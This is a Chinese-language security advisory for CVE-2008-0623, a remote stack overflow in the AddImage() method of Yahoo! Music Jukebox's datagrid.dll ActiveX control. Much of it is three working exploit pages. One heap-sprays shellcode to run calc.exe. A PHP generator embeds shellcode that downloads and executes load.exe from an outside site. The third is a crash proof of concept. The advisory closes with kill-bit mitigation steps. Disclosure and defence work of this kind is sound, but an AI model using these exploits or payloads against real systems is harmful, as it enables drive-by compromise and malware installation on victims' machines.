安全研究

安全漏洞
Yahoo! Music Jukebox datagrid.dll ActiveX控件AddImage函数远程栈溢出漏洞

发布日期:2008-02-04
更新日期:2008-02-22

受影响系统:
Yahoo! Music Jukebox 2.2
描述:
BUGTRAQ  ID: 27590
CVE(CAN) ID: CVE-2008-0623

Yahoo! Music Jukebox是一款音乐编辑、管理、刻录软件。

Yahoo! Music Jukebox的ActiveX控件实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞控制用户系统。

Yahoo! Music Jukebox所安装的YMP DataGrid ActiveX控件(datagrid.dll)没有正确地处理传送给AddImage()方式的输入参数,如果用户受骗访问了恶意站点并向该参数传送了超长字符串的话,就可能触发栈溢出,导致执行任意指令。

<*来源:Krystian Kloskowski (h07@interia.pl
  
  链接:http://secunia.com/advisories/28757/
        http://www.kb.cert.org/vuls/id/101676
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<!--
    Yahoo! Music Jukebox 2.2 AddImage() ActiveX BOF

    Discovered by Krystian Kloskowski - h07@interia.pl

    Written by exceed (code ripped from here and there...)

    Tested on Windows XP SP3 English / IE6 SP3 / datagrid.dll v2.2.2.56
-->

<html>
<object classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"
id="target"></OBJECT>

<SCRIPT language="JavaScript">
// HeapSpray - execute calculator (calc.exe)
shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                     "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                     "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                     "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                     "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                     "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                     "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                     "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                     "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                     "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                     "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                     "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                     "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                     "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                     "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                     "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                     "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                     "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                     "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                     "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                     "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                     "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                     "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                     "%u314e%u7475%u7038%u7765%u4370");

bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();
for (i=0;i<400;i++) memory[i] = block + shellcode;

var buffer =  unescape("%u0A0A%u0A0A");
while (buffer.length< 340) buffer+=unescape("%u0A0A%u0A0A");
target.AddImage("http://"+buffer,1);

</script>
</html>



<?php

    // 0x48k-ymj by ...
    // based on /5043
    // Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>


    function unescape($s){
        $res=strtoupper(bin2hex($s));
        $g = round(strlen($res)/4);
        if ($g != (strlen($res)/4))$res.="00";
        $out = "";
        for ($i=0; $i<strlen($res);$i+=4)$out.="%u".substr($res, $i+2, 2).substr($res, $i, 2);
        return $out;
    }

    echo '
        <html>
        <body>
        <object id="obj" classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"></object>
        <script language="JavaScript">

            function gsc(){
                var hsta = 0x0c0c0c0c;
                var plc = unescape("%u4343%u4343"+
                "%u0feb%u335b%u66c9%u80b9%u8001%uef33"+
                "%ue243%uebfa%ue805%uffec%uffff%u8b7f"+
                "%udf4e%uefef%u64ef%ue3af%u9f64%u42f3"+
                "%u9f64%u6ee7%uef03%uefeb%u64ef%ub903"+
                "%u6187%ue1a1%u0703%uef11%uefef%uaa66"+
                "%ub9eb%u7787%u6511%u07e1%uef1f%uefef"+
                "%uaa66%ub9e7%uca87%u105f%u072d%uef0d"+
                "%uefef%uaa66%ub9e3%u0087%u0f21%u078f"+
                "%uef3b%uefef%uaa66%ub9ff%u2e87%u0a96"+
                "%u0757%uef29%uefef%uaa66%uaffb%ud76f"+
                "%u9a2c%u6615%uf7aa%ue806%uefee%ub1ef"+
                "%u9a66%u64cb%uebaa%uee85%u64b6%uf7ba"+
                "%u07b9%uef64%uefef%u87bf%uf5d9%u9fc0"+
                "%u7807%uefef%u66ef%uf3aa%u2a64%u2f6c"+
                "%u66bf%ucfaa%u1087%uefef%ubfef%uaa64"+
                "%u85fb%ub6ed%uba64%u07f7%uef8e%uefef"+
                "%uaaec%u28cf%ub3ef%uc191%u288a%uebaf"+
                "%u8a97%uefef%u9a10%u64cf%ue3aa%uee85"+
                "%u64b6%uf7ba%uaf07%uefef%u85ef%ub7e8"+
                "%uaaec%udccb%ubc34%u10bc%ucf9a%ubcbf"+
                "%uaa64%u85f3%ub6ea%uba64%u07f7%uefcc"+
                "%uefef%uef85%u9a10%u64cf%ue7aa%ued85"+
                "%u64b6%uf7ba%uff07%uefef%u85ef%u6410"+
                "%uffaa%uee85%u64b6%uf7ba%uef07%uefef"+
                "%uaeef%ubdb4%u0eec%u0eec%u0eec%u0eec"+
                "%u036c%ub5eb%u64bc%u0d35%ubd18%u0f10"+
                "%u64ba%u6403%ue792%ub264%ub9e3%u9c64"+
                "%u64d3%uf19b%uec97%ub91c%u9964%ueccf"+
                "%udc1c%ua626%u42ae%u2cec%udcb9%ue019"+
                "%uff51%u1dd5%ue79b%u212e%uece2%uaf1d"+
                "%u1e04%u11d4%u9ab1%ub50a%u0464%ub564"+
                "%ueccb%u8932%ue364%u64a4%uf3b5%u32ec"+
                "%ueb64%uec64%ub12a%u2db2%uefe7%u1b07"+
                "%u1011%uba10%ua3bd%ua0a2%uefa1"+
                "'.unescape("http://site.come/load.exe").'");
                var hbs=0x400000;
                var pls=plc.length*2;
                var sss=hbs-(pls+0x38);
                var ss=unescape("%u0c0c%u0c0c");
                ss=gss(ss,sss);
                hbs=(hsta-0x400000)/hbs;
                for(i=0;i<hbs;i++)m[i]=ss+plc;
            }
            function gss(ss,sss){
                while(ss.length<sss*2)ss+=ss;
                ss=ss.substring(0,sss);
                return ss;
            }
            var m=new Array();
            gsc();
            try{
                var tmp=gss(unescape("%u0c0c%u0c0c"),340);
                obj.AddImage("http://"+tmp,1);
            }catch(e){}
        </script>
        </body>
        </html>
    ';

?>



<!--
Yahoo! Music Jukebox 2.2 AddImage() ActiveX 0day Remote Buffer Overlow PoC Exploit
Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
Product homepage: http://music.yahoo.com/jukebox/
Tested on:..
- Yahoo! Music Jukebox (2.2.2.056)
- MS IE 6

Details:..

----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [41414141])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9037D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=03EC1370: BF 37 90 7C 58 14 EC 03-9C FF FB 03 74 14 EC 03
EBP=03EC1390: 40 14 EC 03 8B 37 90 7C-58 14 EC 03 9C FF FB 03
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
              --> N/A

Just for fun ;]
-->

<object id="obj" classid="clsid:5F810AFC-BB5F-4416-BE63-E01DD117BD6C"></object>

<script>

function makebuf(payload, len) {
    while(payload.length < (len * 2)) payload += payload;
    payload = payload.substring(0, len);
    return payload;
}

var target = "AddImage";
var payload = unescape("%u4141%u4141");
var len = 340

var tmp = makebuf(payload, len);
obj[target]('http://'+tmp, 1);

</script>

建议:
临时解决方法:

* 在IE中禁用有漏洞的ActiveX控件,为以下CLSID设置kill bit:

{5F810AFC-BB5F-4416-BE63-E01DD117BD6C}

或者将以下文本报文为.REG文件并导入:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{5F810AFC-BB5F-4416-BE63-E01DD117BD6C}]
"Compatibility Flags"=dword:00000400

厂商补丁:

Yahoo!
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://music.yahoo.com/jukebox/

浏览次数:3527
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障